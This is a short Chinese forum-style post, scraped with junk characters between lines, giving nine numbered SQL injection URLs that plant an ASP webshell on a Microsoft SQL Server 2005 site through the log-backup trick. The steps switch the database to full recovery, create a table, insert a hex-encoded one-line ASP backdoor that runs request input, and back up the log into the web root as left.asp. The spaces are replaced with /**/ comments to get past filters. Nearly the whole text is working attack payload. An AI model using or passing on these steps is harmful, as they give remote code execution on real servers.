Mssql2005 Log备份Webshell

admin

第一步
3 C8 a8 @! ~4 T. d$ Uhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

8 m, N% ]- W( w0 [2 Z第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

% Z0 q1 y9 J% n. G8 ^3 g第三步
" K) \: j) A0 chttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
1 p- [* b. z' ~3 Q
7 ~) o6 g0 |5 A: S3 L! K0 N! h第四步
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
7 w, f# B8 x8 a
6 Q$ J. K: w+ ]3 I# Q第六步
! Q" e( o# f9 J. Dhttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
% V. Y, ?6 Z, M$ X
第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
7 P% ^* ~9 N; r
第八步
1 m$ l# Q# y2 \% F( nhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
& V: n& p! W/ N1 J
第九步
% J, M% _# s, Q4 U* V# V5 |. @http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
" n7 _9 z- Q. B% M' N7 H4 E